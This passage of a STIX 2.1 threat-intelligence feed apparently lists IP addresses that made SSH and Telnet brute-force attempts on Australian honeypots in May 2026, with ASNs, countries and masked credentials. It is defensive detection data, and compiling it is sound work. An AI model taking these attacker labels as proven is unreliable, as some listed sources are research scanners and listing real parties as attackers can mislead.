      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): s****a, 3**********4. Passwords observed (masked): 3***********4, 3**********4, t*****3.",
      "id": "indicator--503c74f0-fe7d-4974-9e68-071309ea9a2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.200.78.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--336bba85-e4e3-4c1f-9fa0-43e56783bec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.188.37.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--d6a6bd9b-0918-4089-a793-da881f9e1f39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.215.218.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 265743. Organisation(s): COMERCIAL WASHINGTON ERNESTO OYARCE SAZO E.I.R.L. SENALMAX.",
      "id": "indicator--f071db07-1d19-45da-b1a3-5af3199b6d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.201.116.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 270036. Organisation(s): NORTVCOM, SOCIEDAD ANONIMA.",
      "id": "indicator--c618754b-975d-41ea-af15-825004c5e2e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.60.225.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--0c8919b8-77e9-45f0-a389-f4449572daf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.241.127.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--07e6b4d6-14f5-424a-a7c6-f15e5e05f62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.74.212.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--09bf6c49-7ba3-441d-b362-c7aa076e70a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.93.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3e77ed7f-1527-40b0-ac92-2a8556e0fa36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--91a06d74-53c2-4ed8-96f9-c54cae6c63b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.222.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--bc841866-fa95-46ba-a135-5c1588051fda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.244.62.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T10:15:10.000Z",
      "valid_until": "2026-06-13T10:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133676. Organisation(s): Precious netcom pvt ltd. Usernames observed (masked): r**t, 3**********4, u****u, u***1. Passwords observed (masked): 1***5, 1******6, 3***********4, 3**********4, K*******4.",
      "id": "indicator--65182609-536c-4c8d-a45a-4786ca449531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.248.120.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--8719da14-c0c5-4c46-abdb-b41b8483705e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.224.242.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265903. Organisation(s): CYBER TELECOM LTDA.",
      "id": "indicator--62f11096-4357-4e48-ba8e-0c982f929695",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.196.22.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ed7d6c1f-fff6-4190-abe6-2a822d684784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.104.11.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 192. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, s****r, a***n, a***********r, f*****r. Passwords observed (masked): 3***********4, 3**********4, p******d, 0****0, 1**1.",
      "id": "indicator--af23623d-9ee4-4188-adaa-50d2e2b332bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.51.117.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--0c5ce53e-7f5a-4f39-b738-00b6a8653d58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.141.34.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*******e, h***e, o****y.",
      "id": "indicator--6eea1971-9bf8-47a1-b4cf-8821bd43cc4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.160.226.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273197. Organisation(s): HHNETWORK T, C.A..",
      "id": "indicator--b57823c0-3cd3-49a6-8019-6267bacf43dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.188.48.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--975e6d43-7e5f-4cf8-815e-f94dc55d8904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.151.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:15:10.000Z",
      "valid_until": "2026-06-13T11:15:08.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 329390. Organisation(s): DANSTED.",
      "id": "indicator--6fc0f00d-d2f0-4edb-b10f-cac9dc07d567",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.210.25.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MZ. ASN(s): 327750. Organisation(s): JENNY-INTERNET.",
      "id": "indicator--53407cd9-1529-432b-8cc5-661858a4e4f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.222.90.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328471. Organisation(s): Hero-Telecoms.",
      "id": "indicator--f880653f-572c-4817-96ad-a7fb59b0fbca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.66.146.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 55701. Organisation(s): PT. Usaha Adisanggoro.",
      "id": "indicator--0b5bf5ae-1bfb-438d-b797-2e399c8f0bf0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.31.233.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, Q*******., R******3.",
      "id": "indicator--988f2ee7-940e-423f-be2c-05413223c553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.65.8.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32. Organisation(s): Stanford University.",
      "id": "indicator--9b5f9d65-d5a9-4ef4-8e07-3795f836b715",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.67.71.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--c28a2248-0252-45e9-96b6-ae659a36e885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.235.182.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 201767. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--5cc6428c-cb43-42a7-807c-c6edc45e6b03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.139.138.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--505ae772-7389-4e65-8339-2214bc36f6ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.69.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 140. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, 3**********4, a***n, a**r, e******r. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, **@123456..",
      "id": "indicator--7762b9a5-6893-42a4-9b2a-0bc36dfd7845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.27.36.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--a114362d-7881-44da-9237-d901d4baca8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.185.125.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): r**t, t**r.",
      "id": "indicator--51ad01c9-b7bf-4cfc-a6f2-d32bb5e7fec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.95.100.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 140. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 3***********4, 3**********4, Q*******., R******3.",
      "id": "indicator--3adb9bce-f9df-4dc0-97ef-44268685fd2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.133.120.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 273824. Organisation(s): NEXERCOM SRL.",
      "id": "indicator--2ed74834-bc9e-4323-acfc-a0601e75b973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.194.123.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T12:15:05.000Z",
      "valid_until": "2026-06-13T12:15:03.000Z"
    },
    {
      "created": "2026-05-12T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--81d5fa00-4f1a-4173-9eee-b9787eef77d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
